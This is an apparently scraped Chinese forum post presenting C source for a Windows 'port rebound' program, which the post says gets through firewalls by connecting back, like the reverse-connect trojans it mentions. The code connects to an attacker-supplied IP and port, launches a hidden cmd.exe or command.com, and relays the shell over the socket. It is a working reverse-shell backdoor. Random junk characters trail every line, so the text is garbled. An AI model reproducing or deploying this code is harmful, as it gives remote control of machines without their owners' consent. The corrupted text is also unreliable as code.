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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gFH_^~7i8p  
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/* ============================== ]F~5l?4u#  
Rebound port in Windows NT P?F:x=@'|  
By wind,2006/7 !8$}]uWP  
===============================*/ moGbBkO  
#include Velmq'n  
#include V4>P8cE  
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#pragma comment(lib,"wsock32.lib") g7pFOcV  
S^u!/ =&  
void OutputShell(); v3p..A~XZ.  
SOCKET sClient; j.K yPWO  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; k)J7) L  
k1<Py$9"  
void main(int argc,char **argv) fiZ8s=J  
{ -:QyWw/d  
WSADATA stWsaData; `#V"@Go  
int nRet; 1NTe@r!y  
SOCKADDR_IN stSaiClient,stSaiServer; U7W ct %  
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if(argc != 3) bu.36\78  
{  ;"3Mm$  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,#A,+!4  
return; ) E\pQ5&  
} @l8?\^N  
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WSAStartup(MAKEWORD(2,2),&stWsaData); B.|vmq,u  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I.>LG  
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stSaiClient.sin_family = AF_INET; 3 R m$  
stSaiClient.sin_port = htons(0); AYi$LsLhO  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); hug12Cu  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) IO+z:D{  
{ U;31}'b  
printf("Bind Socket Failed!\n"); bMZ0%(q  
return; OjHBzrK  
} !\m.&lk'^  
kU /?#s  
stSaiServer.sin_family = AF_INET; 1ysA~2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); buoz La  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lbPxZ'YO#  
TcC=_je460  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9#p^Z)[)-  
{ _FV.}%W<u  
printf("Connect Error!"); ,%C$~+xjM  
return; (mEZ4yM  
} IkvH8E  
OutputShell(); (Cq-8**dY  
} zt8ZJlNK  
C" sa.#}  
void OutputShell() m} V,+E  
{ IH0Uq_  
char szBuff[1024]; 0C7"*H0 R  
SECURITY_ATTRIBUTES stSecurityAttributes; bhI8b/  
OSVERSIONINFO stOsversionInfo; &.}zZ/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ] !H<vR$8  
STARTUPINFO stStartupInfo; #G,e]{gs  
char *szShell; g (~&  
PROCESS_INFORMATION stProcessInformation; D"hiEz  
unsigned long lBytesRead; ck}y-,>,[O  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ql4T@r3l}3  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WRgz]=W3w  
stSecurityAttributes.lpSecurityDescriptor = 0; _w26iCnB{  
stSecurityAttributes.bInheritHandle = TRUE; VS` S@+p  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ~$@I <=L  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); e'ZgF~  
@ f$P*_G   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B4b UcYk  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; czp5MU_^  
stStartupInfo.wShowWindow = SW_HIDE; QhZ%<zN  
stStartupInfo.hStdInput = hReadPipe; #8`G&S*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R 'F|z{8  
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GetVersionEx(&stOsversionInfo); WlY%f}l n  
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switch(stOsversionInfo.dwPlatformId) >3ODqRu  
{ >hXUq9;:  
case 1: N&n{R8=^"  
szShell = "command.com"; ILQg@J l  
break; n"pADTaB  
default: HCP Be2  
szShell = "cmd.exe"; /i]Gg \)  
break; eI[z%j[Y*  
} Q.N^1?(>k  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (]pQ.3  
l`1ZS8 [.  
send(sClient,szMsg,77,0); (/)JnBy0  
while(1) E>ev/6ox  
{ * T-XslI  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -,rl[1ZYZ  
if(lBytesRead) BYGLYT;Z  
{ X0lIeGwrQ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9Hu%Z/[!p  
send(sClient,szBuff,lBytesRead,0); 0+L5k!1D  
} C>;}CH|X  
else iU3co|q7  
{ NO<myN+N  
lBytesRead=recv(sClient,szBuff,1024,0); vb%\q sf  
if(lBytesRead<=0) break; tpVtbh1)u  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]6nF>C-C  
} VTF),e!  
} $q+7 ,,"  
snK/,lm.  
return; [Nq4<NK  
}
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